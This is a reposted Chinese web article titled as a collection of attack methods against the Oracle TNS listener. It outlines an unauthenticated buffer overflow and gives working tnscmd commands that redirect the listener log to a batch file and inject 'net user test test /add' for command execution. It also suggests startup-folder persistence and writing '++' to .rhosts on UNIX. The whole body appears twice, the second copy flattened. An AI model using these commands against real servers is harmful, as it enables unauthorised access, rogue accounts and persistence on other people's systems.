| 導購 | 订阅 | 在线投稿
分享
 
 
 

針對Oracle的TNS listener攻擊方法整理

2008-08-09 06:57:27  編輯來源:互聯網  简体版  手機版  移動版  評論  字體: ||

首先,根據版本的不同,TNS listener可能較易受到多種類型的緩沖區溢出攻擊,這些攻擊可以在不提供用戶ID和口令的情況下被利用。例如:在oracle 9i中,當客戶機請求某個過長的service_name時,很容易受到溢出攻擊。當listener爲日志構建錯誤消息之後,service_name的值會被複制到某于棧結構的緩沖區內,從而引起溢出—覆蓋保存值將返回棧中的地址。這種做法可以使攻擊者獲得控制權。事實上,TNS listener曾經有過多次溢出和格式化字符串的漏洞。

其次,另一類攻擊和日志文件有關。只有當未給listener設置口令的時候,攻擊才會有效。

假設某個listener沒有設置口令,攻擊方法如下:

tnscmd -h www.example.com -p 1521 –rawcmd 「(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))」 將日志目錄設置到C盤

tnscmd -h www.example.com -p 1521 –rawcmd 「(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))」 將日志文件設置爲test.bat

tnscmd -h www.example.com –rawcmd 「(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))」該命令把

dir >test.txt、net user test test /add命令寫入c:\test.bat文件,由于雙豎線的作用(第一條命令執行失敗後,WINDOWS命令解釋器執行後面的命令)把錯誤的信息注釋掉, 從而可以執行我們提交的命令。

通過設置日志文件到不同的目錄,例如WINDOWS的啓動目錄,當服務器重啓將執行惡意用戶提交的特定代碼,從而對系統造成威脅。

運行于UNIX系統上的oracle也會受到同樣的威脅。其中一種方法就是將「++」回送給.rhost文件,當系統運行時,使用r*services命令。

首先,根據版本的不同,TNS listener可能較易受到多種類型的緩沖區溢出攻擊,這些攻擊可以在不提供用戶ID和口令的情況下被利用。例如:在oracle 9i中,當客戶機請求某個過長的service_name時,很容易受到溢出攻擊。當listener爲日志構建錯誤消息之後,service_name的值會被複制到某于棧結構的緩沖區內,從而引起溢出—覆蓋保存值將返回棧中的地址。這種做法可以使攻擊者獲得控制權。事實上,TNS listener曾經有過多次溢出和格式化字符串的漏洞。 其次,另一類攻擊和日志文件有關。只有當未給listener設置口令的時候,攻擊才會有效。 假設某個listener沒有設置口令,攻擊方法如下: tnscmd -h [url=http://www.example.com]www.example.com[/url] -p 1521 –rawcmd 「(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\\)))」 將日志目錄設置到C盤 tnscmd -h [url=http://www.example.com]www.example.com[/url] -p 1521 –rawcmd 「(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))」 將日志文件設置爲test.bat tnscmd -h [url=http://www.example.com]www.example.com[/url] –rawcmd 「(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))」該命令把 dir >test.txt、net user test test /add命令寫入c:\test.bat文件,由于雙豎線的作用(第一條命令執行失敗後,WINDOWS命令解釋器執行後面的命令)把錯誤的信息注釋掉, 從而可以執行我們提交的命令。 通過設置日志文件到不同的目錄,例如WINDOWS的啓動目錄,當服務器重啓將執行惡意用戶提交的特定代碼,從而對系統造成威脅。 運行于UNIX系統上的oracle也會受到同樣的威脅。其中一種方法就是將「++」回送給.rhost文件,當系統運行時,使用r*services命令。
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 熱帖排行
 
王朝網路微信公眾號
微信掃碼關註本站公眾號 wangchaonetcn
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有